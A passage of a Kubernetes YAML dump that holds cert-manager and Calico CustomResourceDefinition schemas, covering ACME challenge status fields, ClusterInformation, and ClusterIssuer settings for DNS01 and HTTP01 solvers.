                  description: |-
                    The URL of the ACME Challenge resource for this challenge.
                    This can be used to lookup details about the status of this challenge.
                  type: string
                wildcard:
                  description: |-
                    wildcard will be true if this challenge is for a wildcard identifier,
                    for example '*.example.com'.
                  type: boolean
              required:
              - authorizationURL
              - dnsName
              - issuerRef
              - key
              - solver
              - token
              - type
              - url
              type: object
            status:
              properties:
                presented:
                  description: |-
                    presented will be set to true if the challenge values for this challenge
                    are currently 'presented'.
                    This *does not* imply the self check is passing. Only that the values
                    have been 'submitted' for the appropriate challenge mechanism (i.e. the
                    DNS01 TXT record has been presented, or the HTTP01 configuration has been
                    configured).
                  type: boolean
                processing:
                  description: |-
                    Used to denote whether this challenge should be processed or not.
                    This field will only be set to true by the 'scheduling' component.
                    It will only be set to false by the 'challenges' controller, after the
                    challenge has reached a final state or timed out.
                    If this field is set to false, the challenge controller will not take
                    any more action.
                  type: boolean
                reason:
                  description: |-
                    Contains human readable information on why the Challenge is in the
                    current state.
                  type: string
                state:
                  description: |-
                    Contains the current 'state' of the challenge.
                    If not set, the state of the challenge is unknown.
                  enum:
                  - valid
                  - ready
                  - pending
                  - processing
                  - invalid
                  - expired
                  - errored
                  type: string
              type: object
          required:
          - metadata
          - spec
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - cert-manager
      - cert-manager-acme
      kind: Challenge
      listKind: ChallengeList
      plural: challenges
      singular: challenge
    conditions:
    - lastTransitionTime: "2025-09-22T13:18:23Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-22T13:18:23Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"clusterinformations.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"ClusterInformation","listKind":"ClusterInformationList","plural":"clusterinformations","singular":"clusterinformation"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"description":"ClusterInformation contains the cluster specific information.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"ClusterInformationSpec contains the values of describing the cluster.","properties":{"calicoVersion":{"description":"CalicoVersion is the version of Calico that the cluster is running","type":"string"},"clusterGUID":{"description":"ClusterGUID is the GUID of the cluster","type":"string"},"clusterType":{"description":"ClusterType describes the type of the cluster","type":"string"},"datastoreReady":{"description":"DatastoreReady is used during significant datastore migrations to signal to components\nsuch as Felix that it should wait before accessing the datastore.","type":"boolean"},"variant":{"description":"Variant declares which variant of Calico should be active.","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: clusterinformations.crd.projectcalico.org
    resourceVersion: "6820641"
    uid: d133c442-b8c5-4b63-889b-26eb3c9b20b6
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: ClusterInformation
      listKind: ClusterInformationList
      plural: clusterinformations
      singular: clusterinformation
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          description: ClusterInformation contains the cluster specific information.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: ClusterInformationSpec contains the values of describing
                the cluster.
              properties:
                calicoVersion:
                  description: CalicoVersion is the version of Calico that the cluster
                    is running
                  type: string
                clusterGUID:
                  description: ClusterGUID is the GUID of the cluster
                  type: string
                clusterType:
                  description: ClusterType describes the type of the cluster
                  type: string
                datastoreReady:
                  description: |-
                    DatastoreReady is used during significant datastore migrations to signal to components
                    such as Felix that it should wait before accessing the datastore.
                  type: boolean
                variant:
                  description: Variant declares which variant of Calico should be
                    active.
                  type: string
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: ClusterInformation
      listKind: ClusterInformationList
      plural: clusterinformations
      singular: clusterinformation
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      helm.sh/resource-policy: keep
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:22Z"
    generation: 1
    labels:
      app: cert-manager
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: clusterissuers.cert-manager.io
    resourceVersion: "220106"
    uid: 0e86b32c-8752-466d-94ba-401968f07992
  spec:
    conversion:
      strategy: None
    group: cert-manager.io
    names:
      categories:
      - cert-manager
      kind: ClusterIssuer
      listKind: ClusterIssuerList
      plural: clusterissuers
      shortNames:
      - ciss
      singular: clusterissuer
    scope: Cluster
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.conditions[?(@.type=="Ready")].status
        name: Ready
        type: string
      - jsonPath: .status.conditions[?(@.type=="Ready")].message
        name: Status
        priority: 1
        type: string
      - description: CreationTimestamp is a timestamp representing the server time
          when this object was created. It is not guaranteed to be set in happens-before
          order across separate operations. Clients may not set this value. It is
          represented in RFC3339 form and is in UTC.
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      name: v1
      schema:
        openAPIV3Schema:
          description: |-
            A ClusterIssuer represents a certificate issuing authority which can be
            referenced as part of `issuerRef` fields.
            It is similar to an Issuer, however it is cluster-scoped and therefore can
            be referenced by resources that exist in *any* namespace, not just the same
            namespace as the referent.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: Desired state of the ClusterIssuer resource.
              properties:
                acme:
                  description: |-
                    ACME configures this issuer to communicate with a RFC8555 (ACME) server
                    to obtain signed x509 certificates.
                  properties:
                    caBundle:
                      description: |-
                        Base64-encoded bundle of PEM CAs which can be used to validate the certificate
                        chain presented by the ACME server.
                        Mutually exclusive with SkipTLSVerify; prefer using CABundle to prevent various
                        kinds of security vulnerabilities.
                        If CABundle and SkipTLSVerify are unset, the system certificate bundle inside
                        the container is used to validate the TLS connection.
                      format: byte
                      type: string
                    disableAccountKeyGeneration:
                      description: |-
                        Enables or disables generating a new ACME account key.
                        If true, the Issuer resource will *not* request a new account but will expect
                        the account key to be supplied via an existing secret.
                        If false, the cert-manager system will generate a new ACME account key
                        for the Issuer.
                        Defaults to false.
                      type: boolean
                    email:
                      description: |-
                        Email is the email address to be associated with the ACME account.
                        This field is optional, but it is strongly recommended to be set.
                        It will be used to contact you in case of issues with your account or
                        certificates, including expiry notification emails.
                        This field may be updated after the account is initially registered.
                      type: string
                    enableDurationFeature:
                      description: |-
                        Enables requesting a Not After date on certificates that matches the
                        duration of the certificate. This is not supported by all ACME servers
                        like Let's Encrypt. If set to true when the ACME server does not support
                        it, it will create an error on the Order.
                        Defaults to false.
                      type: boolean
                    externalAccountBinding:
                      description: |-
                        ExternalAccountBinding is a reference to a CA external account of the ACME
                        server.
                        If set, upon registration cert-manager will attempt to associate the given
                        external account credentials with the registered ACME account.
                      properties:
                        keyAlgorithm:
                          description: |-
                            Deprecated: keyAlgorithm field exists for historical compatibility
                            reasons and should not be used. The algorithm is now hardcoded to HS256
                            in golang/x/crypto/acme.
                          enum:
                          - HS256
                          - HS384
                          - HS512
                          type: string
                        keyID:
                          description: keyID is the ID of the CA key that the External
                            Account is bound to.
                          type: string
                        keySecretRef:
                          description: |-
                            keySecretRef is a Secret Key Selector referencing a data item in a Kubernetes
                            Secret which holds the symmetric MAC key of the External Account Binding.
                            The `key` is the index string that is paired with the key data in the
                            Secret and should not be confused with the key data itself, or indeed with
                            the External Account Binding keyID above.
                            The secret key stored in the Secret **must** be un-padded, base64 URL
                            encoded data.
                          properties:
                            key:
                              description: |-
                                The key of the entry in the Secret resource's `data` field to be used.
                                Some instances of this field may be defaulted, in others it may be
                                required.
                              type: string
                            name:
                              description: |-
                                Name of the resource being referred to.
                                More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                              type: string
                          required:
                          - name
                          type: object
                      required:
                      - keyID
                      - keySecretRef
                      type: object
                    preferredChain:
                      description: |-
                        PreferredChain is the chain to use if the ACME server outputs multiple.
                        PreferredChain is no guarantee that this one gets delivered by the ACME
                        endpoint.
                        For example, for Let's Encrypt's DST cross-sign you would use:
                        "DST Root CA X3" or "ISRG Root X1" for the newer Let's Encrypt root CA.
                        This value picks the first certificate bundle in the combined set of
                        ACME default and alternative chains that has a root-most certificate with
                        this value as its issuer's commonname.
                      maxLength: 64
                      type: string
                    privateKeySecretRef:
                      description: |-
                        PrivateKey is the name of a Kubernetes Secret resource that will be used to
                        store the automatically generated ACME account private key.
                        Optionally, a `key` may be specified to select a specific entry within
                        the named Secret resource.
                        If `key` is not specified, a default of `tls.key` will be used.
                      properties:
                        key:
                          description: |-
                            The key of the entry in the Secret resource's `data` field to be used.
                            Some instances of this field may be defaulted, in others it may be
                            required.
                          type: string
                        name:
                          description: |-
                            Name of the resource being referred to.
                            More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                          type: string
                      required:
                      - name
                      type: object
                    profile:
                      description: |-
                        Profile allows requesting a certificate profile from the ACME server.
                        Supported profiles are listed by the server's ACME directory URL.
                      type: string
                    server:
                      description: |-
                        Server is the URL used to access the ACME server's 'directory' endpoint.
                        For example, for Let's Encrypt's staging endpoint, you would use:
                        "https://acme-staging-v02.api.letsencrypt.org/directory".
                        Only ACME v2 endpoints (i.e. RFC 8555) are supported.
                      type: string
                    skipTLSVerify:
                      description: |-
                        INSECURE: Enables or disables validation of the ACME server TLS certificate.
                        If true, requests to the ACME server will not have the TLS certificate chain
                        validated.
                        Mutually exclusive with CABundle; prefer using CABundle to prevent various
                        kinds of security vulnerabilities.
                        Only enable this option in development environments.
                        If CABundle and SkipTLSVerify are unset, the system certificate bundle inside
                        the container is used to validate the TLS connection.
                        Defaults to false.
                      type: boolean
                    solvers:
                      description: |-
                        Solvers is a list of challenge solvers that will be used to solve
                        ACME challenges for the matching domains.
                        Solver configurations must be provided in order to obtain certificates
                        from an ACME server.
                        For more information, see: https://cert-manager.io/docs/configuration/acme/
                      items:
                        description: |-
                          An ACMEChallengeSolver describes how to solve ACME challenges for the issuer it is part of.
                          A selector may be provided to use different solving strategies for different DNS names.
                          Only one of HTTP01 or DNS01 must be provided.
                        properties:
                          dns01:
                            description: |-
                              Configures cert-manager to attempt to complete authorizations by
                              performing the DNS01 challenge flow.
                            properties:
                              acmeDNS:
                                description: |-
                                  Use the 'ACME DNS' (https://github.com/joohoi/acme-dns) API to manage
                                  DNS01 challenge records.
                                properties:
                                  accountSecretRef:
                                    description: |-
                                      A reference to a specific 'key' within a Secret resource.
                                      In some instances, `key` is a required field.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  host:
                                    type: string
                                required:
                                - accountSecretRef
                                - host
                                type: object
                              akamai:
                                description: Use the Akamai DNS zone management API
                                  to manage DNS01 challenge records.
                                properties:
                                  accessTokenSecretRef:
                                    description: |-
                                      A reference to a specific 'key' within a Secret resource.
                                      In some instances, `key` is a required field.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  clientSecretSecretRef:
                                    description: |-
                                      A reference to a specific 'key' within a Secret resource.
                                      In some instances, `key` is a required field.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  clientTokenSecretRef:
                                    description: |-
                                      A reference to a specific 'key' within a Secret resource.
                                      In some instances, `key` is a required field.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  serviceConsumerDomain:
                                    type: string
                                required:
                                - accessTokenSecretRef
                                - clientSecretSecretRef
                                - clientTokenSecretRef
                                - serviceConsumerDomain
                                type: object
                              azureDNS:
                                description: Use the Microsoft Azure DNS API to manage
                                  DNS01 challenge records.
                                properties:
                                  clientID:
                                    description: |-
                                      Auth: Azure Service Principal:
                                      The ClientID of the Azure Service Principal used to authenticate with Azure DNS.
                                      If set, ClientSecret and TenantID must also be set.
                                    type: string
                                  clientSecretSecretRef:
                                    description: |-
                                      Auth: Azure Service Principal:
                                      A reference to a Secret containing the password associated with the Service Principal.
                                      If set, ClientID and TenantID must also be set.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  environment:
                                    description: name of the Azure environment (default
                                      AzurePublicCloud)
                                    enum:
                                    - AzurePublicCloud
                                    - AzureChinaCloud
                                    - AzureGermanCloud
                                    - AzureUSGovernmentCloud
                                    type: string
                                  hostedZoneName:
                                    description: name of the DNS zone that should
                                      be used
                                    type: string
                                  managedIdentity:
                                    description: |-
                                      Auth: Azure Workload Identity or Azure Managed Service Identity:
                                      Settings to enable Azure Workload Identity or Azure Managed Service Identity
                                      If set, ClientID, ClientSecret and TenantID must not be set.
                                    properties:
                                      clientID:
                                        description: client ID of the managed identity,
                                          cannot be used at the same time as resourceID
                                        type: string
                                      resourceID:
                                        description: |-
                                          resource ID of the managed identity, cannot be used at the same time as clientID
                                          Cannot be used for Azure Managed Service Identity
                                        type: string
                                      tenantID:
                                        description: tenant ID of the managed identity,
                                          cannot be used at the same time as resourceID
                                        type: string
                                    type: object
                                  resourceGroupName:
                                    description: resource group the DNS zone is located
                                      in
                                    type: string
                                  subscriptionID:
                                    description: ID of the Azure subscription
                                    type: string
                                  tenantID:
                                    description: |-
                                      Auth: Azure Service Principal:
                                      The TenantID of the Azure Service Principal used to authenticate with Azure DNS.
                                      If set, ClientID and ClientSecret must also be set.
                                    type: string
                                required:
                                - resourceGroupName
                                - subscriptionID
                                type: object
                              cloudDNS:
                                description: Use the Google Cloud DNS API to manage
                                  DNS01 challenge records.
                                properties:
                                  hostedZoneName:
                                    description: |-
                                      HostedZoneName is an optional field that tells cert-manager in which
                                      Cloud DNS zone the challenge record has to be created.
                                      If left empty cert-manager will automatically choose a zone.
                                    type: string
                                  project:
                                    type: string
                                  serviceAccountSecretRef:
                                    description: |-
                                      A reference to a specific 'key' within a Secret resource.
                                      In some instances, `key` is a required field.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                required:
                                - project
                                type: object
                              cloudflare:
                                description: Use the Cloudflare API to manage DNS01
                                  challenge records.
                                properties:
                                  apiKeySecretRef:
                                    description: |-
                                      API key to use to authenticate with Cloudflare.
                                      Note: using an API token to authenticate is now the recommended method
                                      as it allows greater control of permissions.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  apiTokenSecretRef:
                                    description: API token used to authenticate with
                                      Cloudflare.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  email:
                                    description: Email of the account, only required
                                      when using API key based authentication.
                                    type: string
                                type: object
                              cnameStrategy:
                                description: |-
                                  CNAMEStrategy configures how the DNS01 provider should handle CNAME
                                  records when found in DNS zones.
                                enum:
                                - None
                                - Follow
                                type: string
                              digitalocean:
                                description: Use the DigitalOcean DNS API to manage
                                  DNS01 challenge records.
                                properties:
                                  tokenSecretRef:
                                    description: |-
                                      A reference to a specific 'key' within a Secret resource.
                                      In some instances, `key` is a required field.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                required:
                                - tokenSecretRef
                                type: object
                              rfc2136:
                                description: |-
                                  Use RFC2136 ("Dynamic Updates in the Domain Name System") (https://datatracker.ietf.org/doc/rfc2136/)
                                  to manage DNS01 challenge records.
                                properties:
                                  nameserver:
                                    description: |-
                                      The IP address or hostname of an authoritative DNS server supporting
                                      RFC2136 in the form host:port. If the host is an IPv6 address it must be
                                      enclosed in square brackets (e.g [2001:db8::1]) ; port is optional.
                                      This field is required.
                                    type: string
                                  tsigAlgorithm:
                                    description: |-
                                      The TSIG Algorithm configured in the DNS supporting RFC2136. Used only
                                      when ``tsigSecretSecretRef`` and ``tsigKeyName`` are defined.
                                      Supported values are (case-insensitive): ``HMACMD5`` (default),
                                      ``HMACSHA1``, ``HMACSHA256`` or ``HMACSHA512``.
                                    type: string
                                  tsigKeyName:
                                    description: |-
                                      The TSIG Key name configured in the DNS.
                                      If ``tsigSecretSecretRef`` is defined, this field is required.
                                    type: string
                                  tsigSecretSecretRef:
                                    description: |-
                                      The name of the secret containing the TSIG value.
                                      If ``tsigKeyName`` is defined, this field is required.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                required:
                                - nameserver
                                type: object
                              route53:
                                description: Use the AWS Route53 API to manage DNS01
                                  challenge records.
                                properties:
                                  accessKeyID:
                                    description: |-
                                      The AccessKeyID is used for authentication.
                                      Cannot be set when SecretAccessKeyID is set.
                                      If neither the Access Key nor Key ID are set, we fall-back to using env
                                      vars, shared credentials file or AWS Instance metadata,
                                      see: https://docs.aws.amazon.com/sdk-for-go/v1/developer-guide/configuring-sdk.html#specifying-credentials
                                    type: string
                                  accessKeyIDSecretRef:
                                    description: |-
                                      The SecretAccessKey is used for authentication. If set, pull the AWS
                                      access key ID from a key within a Kubernetes Secret.
                                      Cannot be set when AccessKeyID is set.
                                      If neither the Access Key nor Key ID are set, we fall-back to using env
                                      vars, shared credentials file or AWS Instance metadata,
                                      see: https://docs.aws.amazon.com/sdk-for-go/v1/developer-guide/configuring-sdk.html#specifying-credentials
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  auth:
                                    description: Auth configures how cert-manager
                                      authenticates.
                                    properties:
                                      kubernetes:
                                        description: |-
                                          Kubernetes authenticates with Route53 using AssumeRoleWithWebIdentity
                                          by passing a bound ServiceAccount token.
                                        properties:
                                          serviceAccountRef:
                                            description: |-
                                              A reference to a service account that will be used to request a bound
                                              token (also known as "projected token"). To use this field, you must
                                              configure an RBAC rule to let cert-manager request a token.
                                            properties:
                                              audiences:
                                                description: |-
                                                  TokenAudiences is an optional list of audiences to include in the
                                                  token passed to AWS. The default token consisting of the issuer's namespace
                                                  and name is always included.
                                                  If unset the audience defaults to `sts.amazonaws.com`.
                                                items:
                                                  type: string
                                                type: array
                                              name:
                                                description: Name of the ServiceAccount
                                                  used to request a token.
                                                type: string
                                            required:
                                            - name
                                            type: object
                                        required:
                                        - serviceAccountRef
                                        type: object
                                    required:
                                    - kubernetes
                                    type: object
                                  hostedZoneID:
                                    description: If set, the provider will manage
                                      only this zone in Route53 and will not do a
                                      lookup using the route53:ListHostedZonesByName
                                      api call.
                                    type: string
                                  region:
                                    description: |-
                                      Override the AWS region.

                                      Route53 is a global service and does not have regional endpoints but the
                                      region specified here (or via environment variables) is used as a hint to
                                      help compute the correct AWS credential scope and partition when it
                                      connects to Route53. See:
                                      - [Amazon Route 53 endpoints and quotas](https://docs.aws.amazon.com/general/latest/gr/r53.html)
                                      - [Global services](https://docs.aws.amazon.com/whitepapers/latest/aws-fault-isolation-boundaries/global-services.html)

                                      If you omit this region field, cert-manager will use the region from
                                      AWS_REGION and AWS_DEFAULT_REGION environment variables, if they are set
                                      in the cert-manager controller Pod.

                                      The `region` field is not needed if you use [IAM Roles for Service Accounts (IRSA)](https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html).
                                      Instead an AWS_REGION environment variable is added to the cert-manager controller Pod by:
                                      [Amazon EKS Pod Identity Webhook](https://github.com/aws/amazon-eks-pod-identity-webhook).
                                      In this case this `region` field value is ignored.

                                      The `region` field is not needed if you use [EKS Pod Identities](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html).
                                      Instead an AWS_REGION environment variable is added to the cert-manager controller Pod by:
                                      [Amazon EKS Pod Identity Agent](https://github.com/aws/eks-pod-identity-agent),
                                      In this case this `region` field value is ignored.
                                    type: string
                                  role:
                                    description: |-
                                      Role is a Role ARN which the Route53 provider will assume using either the explicit credentials AccessKeyID/SecretAccessKey
                                      or the inferred credentials from environment variables, shared credentials file or AWS Instance metadata
                                    type: string
                                  secretAccessKeySecretRef:
                                    description: |-
                                      The SecretAccessKey is used for authentication.
                                      If neither the Access Key nor Key ID are set, we fall-back to using env
                                      vars, shared credentials file or AWS Instance metadata,
                                      see: https://docs.aws.amazon.com/sdk-for-go/v1/developer-guide/configuring-sdk.html#specifying-credentials
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                type: object
                              webhook:
                                description: |-
                                  Configure an external webhook based DNS01 challenge solver to manage
                                  DNS01 challenge records.
                                properties:
                                  config:
                                    description: |-
                                      Additional configuration that should be passed to the webhook apiserver
                                      when challenges are processed.
                                      This can contain arbitrary JSON data.
                                      Secret values should not be specified in this stanza.
                                      If secret values are needed (e.g., credentials for a DNS service), you
                                      should use a SecretKeySelector to reference a Secret resource.
                                      For details on the schema of this field, consult the webhook provider
                                      implementation's documentation.
                                    x-kubernetes-preserve-unknown-fields: true
                                  groupName:
                                    description: |-
                                      The API group name that should be used when POSTing ChallengePayload
                                      resources to the webhook apiserver.
                                      This should be the same as the GroupName specified in the webhook
                                      provider implementation.
                                    type: string
                                  solverName:
                                    description: |-
                                      The name of the solver to use, as defined in the webhook provider
                                      implementation.
                                      This will typically be the name of the provider, e.g., 'cloudflare'.
                                    type: string
                                required:
                                - groupName
                                - solverName
                                type: object
                            type: object
                          http01:
                            description: |-
                              Configures cert-manager to attempt to complete authorizations by
                              performing the HTTP01 challenge flow.
                              It is not possible to obtain certificates for wildcard domain names
                              (e.g., `*.example.com`) using the HTTP01 challenge mechanism.
                            properties:
                              gatewayHTTPRoute:
                                description: |-
                                  The Gateway API is a sig-network community API that models service networking
                                  in Kubernetes (https://gateway-api.sigs.k8s.io/). The Gateway solver will
                                  create HTTPRoutes with the specified labels in the same namespace as the challenge.
                                  This solver is experimental, and fields / behaviour may change in the future.
                                properties:
                                  labels:
                                    additionalProperties:
                                      type: string
                                    description: |-
                                      Custom labels that will be applied to HTTPRoutes created by cert-manager
                                      while solving HTTP-01 challenges.
                                    type: object
                                  parentRefs:
                                    description: |-
                                      When solving an HTTP-01 challenge, cert-manager creates an HTTPRoute.
                                      cert-manager needs to know which parentRefs should be used when creating
                                      the HTTPRoute. Usually, the parentRef references a Gateway. See:
                                      https://gateway-api.sigs.k8s.io/api-types/httproute/#attaching-to-gateways
                                    items:
                                      description: |-
                                        ParentReference identifies an API object (usually a Gateway) that can be considered
                                        a parent of this resource (usually a route). There are two kinds of parent resources
                                        with "Core" support:

                                        * Gateway (Gateway conformance profile)
                                        * Service (Mesh conformance profile, ClusterIP Services only)

                                        This API may be extended in the future to support additional kinds of parent
                                        resources.

                                        The API object must be valid in the cluster; the Group and Kind must
                                        be registered in the cluster for this reference to be valid.
                                      properties:
                                        group:
                                          default: gateway.networking.k8s.io
                                          description: |-
                                            Group is the group of the referent.
                                            When unspecified, "gateway.networking.k8s.io" is inferred.
                                            To set the core API group (such as for a "Service" kind referent),
                                            Group must be explicitly set to "" (empty string).

                                            Support: Core
                                          maxLength: 253
                                          pattern: ^$|^[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*$
                                          type: string
                                        kind:
                                          default: Gateway
                                          description: |-
                                            Kind is kind of the referent.

                                            There are two kinds of parent resources with "Core" support:

                                            * Gateway (Gateway conformance profile)
                                            * Service (Mesh conformance profile, ClusterIP Services only)

                                            Support for other resources is Implementation-Specific.
                                          maxLength: 63
                                          minLength: 1
                                          pattern: ^[a-zA-Z]([-a-zA-Z0-9]*[a-zA-Z0-9])?$
                                          type: string
                                        name:
                                          description: |-
                                            Name is the name of the referent.

                                            Support: Core
                                          maxLength: 253
                                          minLength: 1
                                          type: string
                                        namespace:
                                          description: |-
                                            Namespace is the namespace of the referent. When unspecified, this refers
                                            to the local namespace of the Route.

                                            Note that there are specific rules for ParentRefs which cross namespace
                                            boundaries. Cross-namespace references are only valid if they are explicitly
                                            allowed by something in the namespace they are referring to. For example:
                                            Gateway has the AllowedRoutes field, and ReferenceGrant provides a
                                            generic way to enable any other kind of cross-namespace reference.

                                            <gateway:experimental:description>
                                            ParentRefs from a Route to a Service in the same namespace are "producer"
                                            routes, which apply default routing rules to inbound connections from
                                            any namespace to the Service.

                                            ParentRefs from a Route to a Service in a different namespace are
                                            "consumer" routes, and these routing rules are only applied to outbound
                                            connections originating from the same namespace as the Route, for which
                                            the intended destination of the connections are a Service targeted as a
                                            ParentRef of the Route.
                                            </gateway:experimental:description>

                                            Support: Core
                                          maxLength: 63
                                          minLength: 1
                                          pattern: ^[a-z0-9]([-a-z0-9]*[a-z0-9])?$
                                          type: string
                                        port:
                                          description: |-
